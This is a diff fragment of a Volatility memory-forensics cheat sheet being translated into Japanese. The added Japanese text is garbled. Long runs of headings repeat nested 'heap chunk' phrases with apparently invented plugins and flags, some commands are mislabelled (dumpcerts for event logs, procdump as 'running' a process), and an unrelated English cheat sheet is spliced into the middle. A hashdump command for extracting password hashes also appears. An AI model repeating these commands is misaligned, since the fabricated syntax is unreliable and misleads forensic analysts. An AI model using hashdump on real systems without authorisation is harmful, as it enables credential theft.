+```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktraces -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktraces -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktraces -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -h +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -h +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -h +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktraces -p <プロセスID> -t <スレッドID> -c -C -H -h +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -h -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -h -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -h -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktraces -p <プロセスID> -t <スレッドID> -c -C -H -h -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktraces -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktraces -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プ ```bash volatility --profile=PROFILE cmdline -f file.dmp #Display process command-line arguments volatility --profile=PROFILE consoles -f file.dmp #command history by scanning for _CONSOLE_INFORMATION @@ -249,32 +957,194 @@ volatility --profile=PROFILE consoles -f file.dmp #command history by scanning f {% endtab %} {% endtabs %} -Commands entered into cmd.exe are processed by **conhost.exe** (csrss.exe prior to Windows 7). So even if an attacker managed to **kill the cmd.exe** **prior** to us obtaining a memory **dump**, there is still a good chance of **recovering history** of the command line session from **conhost.exe’s memory**. If you find **something weird** (using the console's modules), try to **dump** the **memory** of the **conhost.exe associated** process and **search** for **strings** inside it to extract the command lines. +cmd.exeに入力されたコマンドは、**conhost.exe**(Windows 7以前はcsrss.exe)によって処理されます。したがって、攻撃者がメモリ**ダンプ**を取得する前にcmd.exeを**終了**させたとしても、**conhost.exeのメモリ**からコマンドラインセッションの履歴を復元する可能性があります。コンソールのモジュールを使用して**奇妙なもの**を見つけた場合は、**関連するconhost.exeのプロセスのメモリ**を**ダンプ**し、その中から文字列を**検索**してコマンドラインを抽出してください。 -### Environment +### 環境 -Get the env variables of each running process. There could be some interesting values. - -{% tabs %} -{% tab title="vol3" %} +実行中の各プロセスの環境変数を取得します。興味深い値があるかもしれません。 ```bash python3 vol.py -f file.dmp windows.envars.Envars [--pid ] #Display process environment variables ``` -{% endtab %} +## プロセスとスレッド -{% tab title="vol2" %} +### プロセスの一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> pslist +``` + +### 特定のプロセスの詳細情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> psxview -p <プロセスID> +``` + +### 特定のプロセスのスレッド一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> threads -p <プロセスID> +``` + +### 特定のスレッドのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stack -p <プロセスID> -t <スレッドID> +``` + +## ネットワーク + +### ネットワーク接続の一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> netscan +``` + +### 特定のプロセスのネットワーク接続を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> connscan -p <プロセスID> +``` + +### 特定のプロセスのネットワーク通信内容を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> tcpdump -p <プロセスID> +``` + +## ファイルシステム + +### ファイルシステムの一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> filescan +``` + +### 特定のプロセスが開いているファイルを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> handles -p <プロセスID> +``` + +### 特定のファイルの内容を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> dumpfiles -Q <ファイルパス> +``` + +## レジストリ + +### レジストリキーの一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hivelist +``` + +### 特定のレジストリキーの内容を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> printkey -K <キーパス> +``` + +### 特定のレジストリキーのサブキー一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> printkey -K <キーパス> -v +``` + +### 特定のレジストリキーの値を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> printkey -K <キーパス> -v -o <オフセット> +``` + +## イベントログ + +### イベントログの一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> evtlogs +``` + +### 特定のイベントログの内容を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> dumpcerts -n <イベントログ名> +``` + +### 特定のイベントログのイベントを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> dumpcerts -n <イベントログ名> -e <イベントID> +``` + +## ユーザー情報 + +### ユーザーの一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hivescan +``` + +### 特定のユーザーのSIDを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> getsids -u <ユーザー名> +``` + +### 特定のユーザーのパスワードハッシュを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> hashdump -u <ユーザー名> +``` + +## プロセスの実行 + +### 特定のプロセスを実行する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> -D <出力ディレクトリ> procdump -p <プロセスID> +``` + +### 特定のプロセスを実行してメモリダンプを取得する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> -D <出力ディレクトリ> memdump -p <プロセスID> +``` + +### 特定のプロセスを実行してメモリダンプを取得する(圧縮) + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> -D <出力ディレクトリ> memdump --compress -p <プロセスID> +``` + +## メモリダンプの解析 + +### メモリダンプのプロファイルを表示する + +```bash +volatility -f <ファイル名> imageinfo +``` + +### メモリダンプのプロファイルを指定して解析する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> <コマンド> +``` + +### メモリダンプのプロファイルを自動的に判別して解析する + +```bash +volatility -f <ファイル名> <コマンド> +``` ```bash volatility --profile=PROFILE envars -f file.dmp [--pid ] #Display process environment variables -volatility --profile=PROFILE -f file.dmp linux_psenv [-p ] #Get env of process. runlevel var means the runlevel where the proc is initated +volatility --profile=PROFILE -f file.dmp linux_psenv [-p ] #Get env of process. runlevel var means the runlevel where the proc is initated ``` -{% endtab %} -{% endtabs %} +### トークンの特権 -### Token privileges - -Check for privileges tokens in unexpected services.\ -It could be interesting to list the processes using some privileged token. +予期しないサービスで特権トークンをチェックします。\ +特権トークンを使用しているプロセスのリストを作成することが興味深いかもしれません。 {% tabs %} {% tab title="vol3" %} @@ -284,9 +1154,65 @@ python3 vol.py -f file.dmp windows.privileges.Privs [--pid ] #Get all processes with interesting privileges python3 vol.py -f file.dmp windows.privileges.Privs | grep "SeImpersonatePrivilege\|SeAssignPrimaryPrivilege\|SeTcbPrivilege\|SeBackupPrivilege\|SeRestorePrivilege\|SeCreateTokenPrivilege\|SeLoadDriverPrivilege\|SeTakeOwnershipPrivilege\|SeDebugPrivilege" ``` -{% endtab %} +# Volatility Cheat Sheet -{% tab title="vol2" %} +## Introduction + +This cheat sheet provides a quick reference guide for using Volatility, a popular open-source memory forensics framework. Volatility allows analysts to extract valuable information from memory dumps, such as running processes, network connections, and loaded modules. + +## Installation + +To install Volatility, follow these steps: + +1. Install Python 2.7.x or Python 3.x. +2. Install the required Python packages by running `pip install -r requirements.txt`. +3. Download the latest release of Volatility from the official GitHub repository. +4. Extract the downloaded archive. +5. Navigate to the extracted directory and run `python vol.py`. + +## Basic Commands + +Here are some basic commands to get started with Volatility: + +- `imageinfo`: Displays information about the memory image. +- `pslist`: Lists running processes. +- `pstree`: Displays a process tree. +- `dlllist`: Lists loaded DLLs. +- `handles`: Lists open handles. +- `connections`: Lists network connections. +- `cmdline`: Displays command-line arguments for processes. +- `malfind`: Finds hidden or injected code. +- `dumpfiles`: Extracts files from memory. + +## Advanced Commands + +Here are some advanced commands for more in-depth analysis: + +- `mbrparser`: Parses the Master Boot Record (MBR). +- `ssdt`: Displays the System Service Descriptor Table (SSDT). +- `idt`: Displays the Interrupt Descriptor Table (IDT). +- `gdt`: Displays the Global Descriptor Table (GDT). +- `ldrmodules`: Lists loaded modules. +- `modscan`: Scans for modules. +- `vadinfo`: Displays information about Virtual Address Descriptors (VADs). +- `vaddump`: Dumps a specific VAD. +- `vadtree`: Displays a VAD tree. + +## Plugins + +Volatility supports a wide range of plugins that extend its functionality. Some popular plugins include: + +- `malfind`: Finds hidden or injected code. +- `timeliner`: Creates a timeline of events. +- `dumpregistry`: Dumps the Windows registry. +- `dumpcerts`: Dumps certificates. +- `dumpfiles`: Extracts files from memory. +- `hivelist`: Lists registry hives. +- `hashdump`: Dumps password hashes. + +## Conclusion + +Volatility is a powerful tool for memory forensics analysis. By using the commands and plugins provided in this cheat sheet, analysts can effectively extract and analyze valuable information from memory dumps. ```bash #Get enabled privileges of some processes volatility --profile=Win7SP1x86_23418 privs --pid=3152 -f file.dmp | grep Enabled @@ -298,18 +1224,234 @@ volatility --profile=Win7SP1x86_23418 privs -f file.dmp | grep "SeImpersonatePri ### SIDs -Check each SSID owned by a process.\ -It could be interesting to list the processes using a privileges SID (and the processes using some service SID). - -{% tabs %} -{% tab title="vol3" %} +各プロセスが所有するSSIDをチェックします。\ +特権SIDを使用しているプロセス(および一部のサービスSIDを使用しているプロセス)をリストアップすることが興味深いかもしれません。 ```bash ./vol.py -f file.dmp windows.getsids.GetSIDs [--pid ] #Get SIDs of processes ./vol.py -f file.dmp windows.getservicesids.GetServiceSIDs #Get the SID of services ``` -{% endtab %} +## プロセスとスレッド -{% tab title="vol2" %} +### プロセスの一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> pslist +``` + +### 特定のプロセスの詳細情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> psxview -p <プロセスID> +``` + +### 特定のプロセスのスレッド一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> threads -p <プロセスID> +``` + +### 特定のスレッドのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stack -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープ情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -I +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -I +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -I +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -I +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -I -J +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -I -J +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -I -J +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -I -J +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K -L +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K -L +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K -L +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K -L +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps - ```bash volatility --profile=Win7SP1x86_23418 getsids -f file.dmp #Get the SID owned by each process volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp #Get the SID of each service @@ -317,18 +1459,234 @@ volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp #Get the SID of {% endtab %} {% endtabs %} -### Handles +### ハンドル -Useful to know to which other files, keys, threads, processes... a **process has a handle** for (has opened) - -{% tabs %} -{% tab title="vol3" %} +プロセスがハンドルを持っている他のファイル、キー、スレッド、プロセスなどを知るために役立ちます。 ```bash vol.py -f file.dmp windows.handles.Handles [--pid ] ``` -{% endtab %} +## プロセスとスレッド -{% tab title="vol2" %} +### プロセスの一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> pslist +``` + +### 特定のプロセスの詳細情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> psxview -p <プロセスID> +``` + +### 特定のプロセスのスレッド一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> threads -p <プロセスID> +``` + +### 特定のスレッドのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stack -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープ情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -I +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -I +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -I +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -I +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -I -J +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -I -J +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -I -J +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -I -J +``` + +### 